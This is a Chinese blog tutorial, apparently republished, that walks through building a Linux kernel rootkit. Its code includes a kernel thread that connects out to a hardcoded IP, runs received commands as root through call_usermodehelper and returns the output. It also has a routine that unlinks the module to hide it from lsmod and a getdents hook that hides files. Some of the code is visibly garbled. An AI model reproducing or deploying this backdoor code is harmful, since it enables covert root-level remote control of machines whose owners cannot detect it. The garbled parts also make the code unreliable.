编写一个简单的linux kernel rootkit

一、前言

linux kernel rootkit跟普通的应用层rootkit个人感觉不大,个人感觉区别在于一个运行在用户空间中,一个运行在内核空间中;另一个则是编写时调用的API跟应用层rootkit不同

一个最简单的linux kernel rootkit就是一个linux kernel module

PS:如有错误,请斧正

二、环境

内核版本:5.4.0-120
攻击机:kal
靶机和编译机:ubuntu18 64位

三、linux kernel module

PS: linux kernel module编写网上资料很多,这里不在过多叙述

1、一个linux kernel module必备的函数为 module_initmodule_exit ,前者为linux kernel module加载时调用的函数,后者为linux kernel module卸载时调用的函数,如下所示:

module_init(rootkit_init);
module_exit(rootkit_exit);

2、当然,也有其他 module 开头的函数,例如 ODULE_AUTHOR 声明作者等函数,但这些都是可选的

3、linux kernel module打印函数也跟用户态的 printf 函数不同,为 printk 函数,当然,也不会打印在终端中,通过 printk 打印的信息可通过 dmesg 命令查看

4、一个最简单的linux kernel module如下所示,其中 module_init 声明了模块加载时的函数 example_initmodule_exit 声明了模块卸载时调用的函数函数 example_exit ,这个最简单的linux kernel module实现的功能就是在加载时和卸载时打印字符串

#include
#include
#include

MODULE_LICENSE("GPL");
MODULE_AUTHOR("windy_ll");
MODULE_DESCRIPTION("Basic Kernel Module");
MODULE_VERSION("0.01");

static int __init example_init(void)
{
    printk(KERN_INFO "Hello, world!\n");
    return 0;
}

static void __exit example_exit(void)
{
    printk(KERN_INFO "Goodbye, world!\n");
}

module_init(example_init);
module_exit(example_exit);

5、linux kernel module可通过 make modules 命令编译,例如本篇编译的 Makefile 文件如下所示:

obj-m += rootkit.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

5、linux kernel module使用命令 insmod 加载,使用 rmmod 命令卸载,可以使用 lsmod 命令查看所有已经加载的linux kernel module。上面的linux kernel module运行结果如下图所示:

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

四、hook系统调用表

1、系统调用表(System call Table),是一张由指向实现各种系统调用的内核函数的函数指针组成的表,该表可以基于系统调用编号进行索引,来定位函数地址,完成系统调用(PS: 来自百度百科),系统调用表详细列表如下链接所示:

https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

2、系统调用表的hook一般可以通过以下几种方式来实现:

  • 找到系统调用表位置,修改系统调用表中的函数地址
  • 找到系统调用表位置,修改系统调用表函数前几个字节做一个jmp,就是inlinehook,当然可以在汇编上直接替换掉系统调用表的函数二进制指令
  • 利用别人写好的框架,例如ftrace(PS:本文为了方便,即利用此方式) 3、获取系统调用表地址一般也可以通过以下几种方式来实现
  • 通过调用函数kallsyms_lookup_name获取(ps:高版本已经被禁用该函数)
  • 扫描内存,匹配特征码来找到系统调用表的地址
  • 读取/proc/kallsym文件来获取
  • 其他方法,不在过多介绍 *4、linux kernel rootkit中的某些功能需要通过hook系统调用表的函数来实现,例如监控命令的执行等

五、linux kernel多线程

1、linux kernel中的多线程可使用宏定义 kthread_run 来创建一个内核线程,第一个参数为线程要执行的函数名,使用 kthread_stop 来停止

2、一个简单的多线程示例如下所示:(PS: 这里不用导入那么多头文件,之所以使用这么多头文件,是使用了其他API)

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

static struct task_struct *test_kthread = NULL;

static int kthread_test_func(void *data)
{
    return 0;
}

static __init int kthread_test_init(void)
{
    test_kthread = kthread_run(kthread_test_func, NULL, "kthread-test");
    if (!test_kthread) {
        return -ECHILD;
    }

    return 0;
}

static __exit void kthread_test_exit(void)
{
}

module_init(kthread_test_init);
module_exit(kthread_test_exit);

六、linux kernel socket

1、linux内核中的通信和用户层面的步骤差不多,都是先创建socket、连接或监听socket、调用函数收发信息、关闭连接

2、不同点在于调用的API不同,linux内核中调用的是 sock_create_kern 函数来创建socket,调用 sock->ops->connect 来连接服务端(PS:这里的sock是前面创建的socket连接符),调用 kernel_sendmsg 来发送信息,调用 kernel_recvmsg 来接收信息,调用 kernel_sock_shutdown 函数来关闭连接,调用 sock_release 函数来释放socket连接符,按照用户层的socket的流程来调用即可

3、上面的api不是唯一的,linux源码中还提供了其他的函数来实现socket连接,感兴趣的可以去查阅相关的linux源码

4、上面只写了socket客户端,不写socket服务端的原因是作者测试了好几套api在5.4的内核版本中,都运行到某个阶段内核就挂了,知道原因的大佬可以指出是什么原因

5、测试用例如下所示:

static int myserver(void *data){

        struct socket *sock,*client_sock;
        struct sockaddr_in s_addr;
        unsigned short portnum=8888;
        int ret=0;
        char recvbuf[1024];
    char sendbuf[4096];
    char *result;
        struct msghdr recvmsg,sendmsg;
    struct kvec send_vec,recv_vec;

    //sendbuf = kmalloc(1024,GFP_KERNEL);
    if(sendbuf == NULL) {
        printk(KERN_INFO "[SockTest]: sendbuf kmalloc failed!\n");
        return -1;
    }

    //recvbuf = kmalloc(1024,GFP_KERNEL);
    if(recvbuf == NULL) {
        printk(KERN_INFO "[SockTest]: recvbuf kmalloc failed!\n");
        return -1;
    }

        memset(&s_addr,0,sizeof(s_addr));
        s_addr.sin_family=AF_INET;
        s_addr.sin_port=htons(portnum);
        s_addr.sin_addr.s_addr=in_aton("10.10.10.195");

        sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);
        client_sock=(struct socket *)kmalloc(sizeof(struct socket),GFP_KERNEL);

        /*create a socket*/
        ret=sock_create_kern(&init_net,AF_INET, SOCK_STREAM,0,&sock);
        if(ret < 0){
                printk("[SockTest]:socket_create_kern error!\n");
        return -1;
        }
        printk("[SockTest]:socket_create_kern ok!\n");

        /*connect the socket*/
        ret=sock->ops->connect(sock,(struct sockaddr *)&s_addr,sizeof(s_addr),0);
    printk(KERN_INFO "[SockTest]: connect ret = %d\n",ret);
    /*
        if(ret != 0){
                printk("[SockTest]: connect error\n");
                return ret;
        }
    */
        printk("[SockTest]:connect ok!\n");

    memset(sendbuf,0,1024);

    strcpy(sendbuf,"test");

    memset(&sendmsg,0,sizeof(sendmsg));
    memset(&send_vec,0,sizeof(send_vec));

    send_vec.iov_base = sendbuf;
    send_vec.iov_len = 4096;

        /*send*/
    ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,4);
    printk(KERN_INFO "[SockTest]: kernel_sendmsg ret = %d\n",ret);
    if(ret < 0) {
        printk(KERN_INFO "[SockTest]: kernel_sendmsg failed!\n");
        return ret;
    }
    printk(KERN_INFO "[SockTest]: send ok!\n");
    memset(&recv_vec,0,sizeof(recv_vec));
    memset(&recvmsg,0,sizeof(recvmsg));

    recv_vec.iov_base = recvbuf;
    recv_vec.iov_len = 1024;

        /*kmalloc a receive buffer*/
    while(true) {
        memset(recvbuf, 0, 1024);

        ret = kernel_recvmsg(sock,&recvmsg,&recv_vec,1,1024,0);
        printk(KERN_INFO "[SockTest]: received message: %s\n",recvbuf);
        if(!strcmp("exit",recvbuf)) {
            break;
        }
        printk(KERN_INFO "[SockTest]: %ld\n",strlen(recvbuf));
        result = execcmd(recvbuf);
        memset(sendbuf,0,4096);
        strncpy(sendbuf,result,4096);
        ret = kernel_sendmsg(sock,&sendmsg,&send_vec,1,strlen(sendbuf));
    }

    kernel_sock_shutdown(sock,SHUT_RDWR);
    sock_release(sock);
    printk(KERN_INFO "[SockTest]: socket exit\n");

    return 0;
}

七、linux kernel命令执行

1、对于一个rootkit来说,最核心的功能点肯定在于能够执行命令

2、在linux内核中,有以下几种方式可以用来执行命令:

  • hook系统调用表,劫持命令执行函数sys_execve
  • 调用call_usermodehelper函数直接执行命令 3、这里使用的是第二种方式来执行命令,第一种只做到了无参数命令执行,对于有参数的解析其参数时按照指针数组解析出来的不知道为啥一直是乱码,知道原因的大佬可以指教以下 *4、无论是什么方式,都无法将命令回显结果直接写入内存直接读取,所以这里采用的是将命令结果利用 > 写入某个文件中,然后调用 vfs_read 函数读取文件获取命令回显,如下所示:
static char* execcmd(char cmd[1024])
{
        int result;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    static char buf[4096];
    char add[] = " > /tmp/result.txt";
        char cmd_path[] = "bin/sh";
    strcat(cmd,add);
        char *cmd_argv[] = {cmd_path,"-c",cmd,NULL};
        char *cmd_envp[] = {"HOME=/","PATH=/sbin:/bin:/user/bin",NULL};
        result = call_usermodehelper(cmd_path,cmd_argv,cmd_envp,UMH_WAIT_PROC);
        printk(KERN_INFO "[TestKthread]: call_usermodehelper() result is %d\n",result);
    fp = filp_open("/tmp/result.txt",O_RDWR | O_CREAT,0644);
    if(IS_ERR(fp)) {
        printk(KERN_INFO "open file failed!\n");
        return 0;
    }
    memset(buf,0,sizeof(buf));
    fs = get_fs();
    set_fs(KERNEL_DS);
    pos = 0;
    vfs_read(fp,buf,sizeof(buf),&pos);
    printk(KERN_INFO "shell result %ld:\n",strlen(buf));
    printk("%s\n",buf);
    filp_close(fp,NULL);
    set_fs(fs);
    return buf;
}

八、隐藏内核模块自身

1、对于linux kernel rootkit,很重要的一点就是隐藏自己的存在,不然受害者一个 lsmod 就发现了

2、通过 lsmod 读出来的已经加载的内核模块在内存中的表现形式为一个链表,我们可以通过添加、删除这个链表中的节点来实现对内核模块的显示和隐藏

3、我们可以通过 THIS_MODULE 这个变量来访问上述的连接,幸运的是,官方提供了API 来添加和删除节点,分别为 list_dellist_add 函数

4、实现该功能源码如下所示:

void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

void showme(void)
{
    list_add(&THIS_MODULE->list,prev_module);
}

九、隐藏文件

1、由于前面的命令执行功能获取命令回显结果产生了一些文件,所以我们还要隐藏这些产生从文件来避免我们的rootkit被发现

2、我们可以通过hook sys_getdents 系统调用来实现,该系统调用有三个参数,其中第二个参数为一个指针,该指针所存储的即为一个目录的文件和目录信息,在内存中的数据结构为一个链表,通过遍历这个链表然后删除相应的节点即可达到隐藏文件的目的

3、该链表的数据结构如下所示,其中, d_name 为文件或目录的名称, d_reclen 为长度,通过这两个数据,我们即可实现隐藏文件和目录的功能

struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
        };

4、该功能实现示例如下所示:

asmlinkage int hook_getdents(const struct pt_regs *regs)
{
    struct linux_dirent {
        unsigned long d_ino;
        unsigned long d_off;
        unsigned short d_reclen;
        char d_name[];
    };
    struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
    struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
    unsigned long offset = 0;
    long error;

    int ret = orig_getdents(regs);
    dirent_ker = kzalloc(ret, GFP_KERNEL);

    if ((ret d_name) == 1)
        {
            if(debug_mode == 1)
            {
                printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
            }
            if(current_dir == dirent_ker)
            {
                ret -= current_dir->d_reclen;
                memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
                continue;
            }
            previous_dir->d_reclen += current_dir->d_reclen;
        }
        else
        {
            previous_dir = current_dir;
        }
        offset += current_dir->d_reclen;
    }

    error = copy_to_user(dirent, dirent_ker, ret);
    if(error)
    {
        printk(KERN_DEBUG "error 3\n");
        goto done;
    }

done:
    kfree(dirent_ker);
    return ret;
}

十、ftrace使用方法

1、导入头文件 ftrace_helper.h

2、定义一个 ftrace_hook hooks 结构体数组,如下所示:

static struct ftrace_hook hooks[] = {
    HOOK("sys_mkdir",hook_mkdir,&orig_mkdir),
};

调用 fh_install_hooks 函数挂钩,调用 fh_remove_hooks 函数解挂即可

十一、其他

1、在 linux kernel 4.17 之后,系统调用函数的参数全部存储在 pt_reg 结构体中,要实际访问到其参数,需要去读取该结构体

2、由于rootkit运行在内核空间中,要访问用户空间的数据,需要使用 strncpy_from_user 等函数将用户空间的变量拷贝到内核空间中

3、要申请内核空间,不能使用 malloc ,而是要使用 kmalloc 等函数来申请

十二、linux kernel rootkit使用截图

1、命令执行

编写一个简单的linux kernel rootkit

2、隐藏内核模块

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

3、隐藏文件

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

编写一个简单的linux kernel rootkit

十三、github以及参考连接

1、github链接:

https://github.com/windy-purple/linux_kernel_rootkit

2、参考链接:

https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/

https://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/

https://stackoverflow.com/questions/39502198/finding-the-sys-call-table-in-memory-64-bit-on-4-x-x-kernel

https://xcellerator.github.io/posts/linux_rootkits_01/

https://syscalls64.paolostivanin.com/

https://github.com/vkobel/linux-syscall-hook-rootkit

https://blog.csdn.net/yeshennet/article/details/82315604

https://www.anquanke.com/post/id/241090

https://www.codeleading.com/article/24384639787/

https://www.cnblogs.com/embedded-linux/p/7439984.html

https://stackoverflow.com/questions/58821458/error-passing-argument-1-of-kthread-create-on-node-from-incompatible-pointer

https://blog.csdn.net/qq_30624591/article/details/109685620

https://github.com/abysamross/simple-linux-kernel-tcp-client-server

https://github.com/croemheld/lkm-rootkit

https://gist.github.com/llj098/752417

https://blog.csdn.net/miaohongyu1/article/details/16986053

https://www.ichenfu.com/2017/01/16/kernel-sock-client-example/

https://blog.csdn.net/whshiyun/article/details/82013181

https://developer.aliyun.com/article/459022

https://blog.csdn.net/whatday/article/details/98448435

Original: https://www.cnblogs.com/aWxvdmVseXc0/p/16560341.html
Author: windy_ll
Title: 编写一个简单的linux kernel rootkit

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585598/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Servlet版本冲突导致页面404

    先准备好了Tomcat环境以及用Idea打了一个Servlet war包想看看效果,结果发现页面跳转一直报404错误,检查了跳转url,项目结构等情况后,问题依旧没有解决。最后偶然…

    Linux 2023年6月7日
    092
  • VMware 虚拟机图文安装和配置 Rocky Linux 8.5 教程

    前言这是《VMware 虚拟机图文安装和配置 AlmaLinux OS 8.6 教程》一文的姐妹篇教程,如果你需要阅读它,请点击这里。2020 年,CentOS 宣布:计划未来将重…

    Linux 2023年6月7日
    0227
  • linux学习之对用户和组群进行管理

    本实验的主要任务是对用户和组群进行管理,使用 su 和 sudo 命令以及管理文件和目录的权限。结合文件权限与用户和组群的设置,理解文件的3 种用户身份及权限对于文件和目录的不同含…

    Linux 2023年6月13日
    086
  • Ubuntu无法telnet

    (1)/etc/hosts被修改过 (2)防火墙没有关闭 (3)没有安装相关服务 (4)/etc/inetd.conf文件没有telnet相关内容 (1)把/etc/hosts文件…

    Linux 2023年6月8日
    0100
  • openEuler 20.03/21.03 – 华为欧拉开源版(CentOS 8 华为版开源版)下载

    开始 openEuler 之旅吧 openEuler 通过社区合作,打造创新平台,构建支持多处理架构、统一和开放的操作系统,推动软硬件应用生态繁荣发展。 好玩的活动停不下来 ope…

    Linux 2023年5月27日
    0267
  • Redis安装(CentOS 8.5 64位)

    Redis安装 1. 准备工作 1.1 下载安装包 官网下载地址:https://redis.io/ 1.2 传输文件到服务器 使用ssh工具连接到服务器,把下载好的文件上传到服务…

    Linux 2023年6月14日
    097
  • 机器学习入门–图学习基础01

    图表示学习入门知识 数学基础看文章理解图的拉普拉斯变换,解答了上一周文章公式中的L拉普拉斯矩阵是怎么来的 本文仅限我个人记录学习历程所用,目前是大一在读,刚刚接触AI领域。如有不足…

    Linux 2023年6月6日
    087
  • mycat数据库集群系列之数据库多实例安装

    mycat 数据库集群系列之数据库多实例安装 最近在梳理数据库集群的相关操作,现在花点时间整理一下关于mysql数据库集群的操作总结,恰好你又在看这一块,供一份参考。本次系列终结大…

    Linux 2023年6月14日
    097
  • 【原创】linux设备模型之kset/kobj/ktype分析

    背 景 Read the fucking source code! –By 鲁迅 A picture is worth a thousand words. &#8211…

    Linux 2023年6月8日
    0111
  • 其他

    1、【剑指Offer学习】【面试题01:实现赋值运算符函数】 2、【剑指Offer学习】【面试题02:实现Singleton 模式——七种实现方式】 5、【剑指Offer学习】【面…

    Linux 2023年6月13日
    082
  • flask 之 请求钩子

    请求钩子 什么是请求钩子? 在客户端和服务器交互的过程中,有些准备工作或扫尾工作需要统一处理,为了让每个视图函数避免编写重复功能的代码, flask提供了统一的接口可以添加这些处理…

    Linux 2023年6月8日
    0107
  • batch批处理笔记

    1. echo 和 @ 回显命令 @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显。一般批处理第一行都是这个 echo on …

    Linux 2023年6月7日
    089
  • 新年伊始我的centos8没法更新了

    22年春节后centos8竟然没法更新了,提示 No URLs in mirrorlist如下: yum update Repository extras is listed mo…

    Linux 2023年6月13日
    0239
  • js阻止事件冒泡(phpcms,浮窗第一次10秒弹出后每30秒弹出,动态更换日期)

    /* v9_date_list 日期表 tiptime 考试日期(数据类型为日期) 如果要实现浮窗淡入淡出用jquery的(“#main0”).fadeIn…

    Linux 2023年6月13日
    0111
  • 使用 Powershell 删除N天前的文件

    在 Linux 中删除N天前的文件可以使用以下命令: find /path/to -maxdepth 1 -name "filename" -mtime +1 …

    Linux 2023年6月14日
    080
  • Ubuntu 忘记登录密码

    重启Ubuntu,随即长按Shift(单系统)进入Grub菜单 选择Ubuntu高级选项 选择recovery mode进入Recovery Menu界面,选择Drop to ro…

    Linux 2023年6月16日
    0197
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球